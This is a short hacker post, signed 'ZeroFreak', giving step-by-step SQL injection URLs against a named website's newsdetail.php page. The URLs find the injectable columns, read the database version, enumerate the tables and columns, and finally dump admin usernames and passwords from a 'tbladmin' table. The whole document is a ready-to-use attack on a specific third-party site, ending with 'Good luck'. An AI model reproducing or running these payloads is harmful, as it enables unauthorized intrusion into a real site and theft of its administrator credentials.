SQL Queries

To find the vulnerable columns

http://www.leadacidbatteryinfo.org/newsdetail.php?id=null+union+select+1,2,3,4,5,6,7,8,9,10,11--

To find the version of the database:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=null+union+select+1,2,3,4,5,6,7,@@version,9,10,11--


To find the tables according the vulnerable column of your choice:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=null+union+select+1,2,3,4,5,6,7,group_concat(table_name,0x0a),9,10,11 from information_schema.tables where table_schema=database()--

To find columns for the table you choose ( in this case we choose "tbladmin", so we convert it to hex and add 0x in the beginning of the hex code):
http://www.leadacidbatteryinfo.org/newsdetail.php?id=null+union+select+1,2,3,4,5,6,7,group_concat(column_name,0x0a),9,10,11 from information_schema.columns where table_name=0x74626c61646d696e--

To get the details from the column (in this case username and password):
http://www.leadacidbatteryinfo.org/newsdetail.php?id=null+union+select+1,2,3,4,5,6,7,group_concat(username,0x3a,password),9,10,11 from tbladmin--


Good luck
>ZeroFreak<